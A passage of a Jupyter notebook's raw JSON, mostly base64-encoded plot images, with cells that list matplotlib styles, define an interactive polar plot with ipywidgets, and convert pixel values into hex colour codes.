HHH398yaUBAMA3LRbB\n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\n5SMUya72kR109wPdffvq+O+z8dGcF28Z5vn4FHa5h+xg9fx6bHX10Oqy9VMJvEbvYJf7eEYOUgT/\n2+5+INn4jZfk35xm3DOr6nhVfbaqhPKGi5Ns/hrqk3nyH1TfHNPdp5I8kuS5+7K6p4fd7GGy8fXf\nX6yq91fVpfuztH9VdrvP7Oylq38W/EhV/YezvZiDbPVPyy/KxpmjzTwfd+kp9jDxXNxRVZ1TVXck\neTDJx7r7tM9Fr9Gnt4t9TM7gdXpfI7iqPl5Vd21zOZMzbs/vja/G+89J/kdV/ftv0XKfTrb72+LW\nvx3tZsxku9mfP0tyWXf/QJKP51/+1s7ueR4u4/Yk393dP5jkfyb50Flez4FVVc9O8oEkv9jdj269\ne5sf8XzcYoc99Fzche7+enf/UJJLklxZVS/cMsRzcRd2sY9n9Dq9rxHc3Vd39wu3ufxpkr/9xj9D\nrX598DSPcf/q13uz8RXNL9qn5R9kJ5Ns/tvOJUnuP92Yqjo3yXfGP7dutuMetq//XsJunqvsoLsf\n/cY/C3b3rUkOVdUFZ3lZB05VHcpGvP1hd39wmyGejzvYaQ89F89Md38tG+1yzZa7vEafgdPt45m+\nTh+kt0McS3LD6viGJH+6dUBVnV9Vh1fHFyR5WZIv7dsKD67PJ7miqr6nqp6RjTfVb/3kjM37e12S\nT/TqXeQk2cUelq//XsKxJD+7+l/5L0nyyDfeBsXuVdXzvvF+waq6Mht/lj90dld1sKz2511J7unu\nt59mmOfjU9jNHnou7qyqLqyq81bH357k6iR/uWWY1+gd7GYfz/R1eomvTV7KjUluqarXJfm/SV6V\nJFV1JMnPdffrk3x/kv9VVf8vG7/Rbuzu8RHc3aeq6o1JPpqNTzl4d3ffXU/86up3JfmDqjqRjb9d\nXn/2Vnzw7HIP9/L136NU1R9l43+LX1BVJ5P8ejb+80K6+51Jbs3G/8g/keQfkrz27Kz0YNvFPl6X\n5A1VdSrJPya53gvmk7wsyc8k+YvVewiT5NeSPD/xfNyl3eyh5+LOLkpyc1Wdk412uaW7P+w1+ozt\nZh/P6HXa1yYDADDOQXo7BAAA7AsRDADAOCIYAIBxRDAAAOOIYAAAxhHBAACMI4IBABjn/wPyUztK\nSTzx7wAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7fd30c6d4ba8>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "plt.imshow(im2, interpolation=\"nearest\")" ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "['seaborn-dark-palette',\n", " 'seaborn-deep',\n", " 'seaborn-poster',\n", " 'seaborn-colorblind',\n", " 'seaborn-white',\n", " 'seaborn-talk',\n", " 'classic',\n", " 'fivethirtyeight',\n", " 'seaborn-paper',\n", " 'seaborn-muted',\n", " 'seaborn-notebook',\n", " 'seaborn-pastel',\n", " 'seaborn-ticks',\n", " 'dark_background',\n", " 'seaborn-bright',\n", " 'ggplot',\n", " '_classic_test',\n", " 'grayscale',\n", " 'seaborn',\n", " 'seaborn-darkgrid',\n", " 'seaborn-whitegrid',\n", " 'seaborn-dark',\n", " 'bmh']" ] }, "execution_count": 6, "metadata": {}, "output_type": "execute_result" } ], "source": [ "plt.style.available" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import ipywidgets\n", "import numpy as np\n", "\n", "def make_cardiod(a = 0.5, style=\"classic\"):\n", " theta = np.mgrid[0.0:2.0*np.pi:1000j]\n", " r = a**3 * np.sin(theta-2)**2 + 4 * np.cos(2*theta-5)\n", " with plt.style.context(style):\n", " plt.polar(r, theta,)" ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "698b967f997b479ab11f2fdc26c9d94b", "version_major": 2, "version_minor": 0 }, "text/html": [ "<p>Failed to display Jupyter Widget of type <code>interactive</code>.</p>\n", "<p>\n", " If you're reading this message in Jupyter Notebook or JupyterLab, it may mean\n", " that the widgets JavaScript is still loading. If this message persists, it\n", " likely means that the widgets JavaScript library is either not installed or\n", " not enabled. See the <a href=\"https://ipywidgets.readthedocs.io/en/stable/user_install.html\">Jupyter\n", " Widgets Documentation</a> for setup instructions.\n", "</p>\n", "<p>\n", " If you're reading this message in another notebook frontend (for example, a static\n", " rendering on GitHub or <a href=\"https://nbviewer.jupyter.org/\">NBViewer</a>),\n", " it may mean that your frontend doesn't currently support widgets.\n", "</p>\n" ], "text/plain": [ "interactive(children=(FloatSlider(value=0.5, description='a', max=10.0, step=0.01), Dropdown(description='style', index=2, options=('_classic_test', 'bmh', 'classic', 'dark_background', 'fivethirtyeight', 'ggplot', 'grayscale', 'seaborn', 'seaborn-bright', 'seaborn-colorblind', 'seaborn-dark', 'seaborn-dark-palette', 'seaborn-darkgrid', 'seaborn-deep', 'seaborn-muted', 'seaborn-notebook', 'seaborn-paper', 'seaborn-pastel', 'seaborn-poster', 'seaborn-talk', 'seaborn-ticks', 'seaborn-white', 'seaborn-whitegrid'), value='classic'), Output()), _dom_classes=('widget-interact',))" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/plain": [ "<function __main__.make_cardiod>" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" } ], "source": [ "ipywidgets.interact(make_cardiod, a = (0.0, 10.0, 0.01), style = sorted(plt.style.available))" ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "['#000000',\n", " '#0000aa',\n", " '#00aa00',\n", " '#00aaaa',\n", " '#aa0000',\n", " '#aa00aa',\n", " '#aa5500',\n", " '#aaaaaa',\n", " '#555555',\n", " '#5555ff',\n", " '#55ff55',\n", " '#55ffff',\n", " '#ff5555',\n", " '#ff55ff',\n", " '#ffff55',\n", " '#ffffff']" ] }, "execution_count": 9, "metadata": {}, "output_type": "execute_result" } ], "source": [ "colors = [\"#{0:02x}{1:02x}{2:02x}\".format(*_) for _ in im.tolist()]\n", "colors" ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "collapsed": true }, "outputs": [], "source": [ "cycle = plt.cycler(\"colors\", colors)" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "<matplotlib.collections.PathCollection at 0x7fd2e8c86a58>" ] }, "execution_count": 11, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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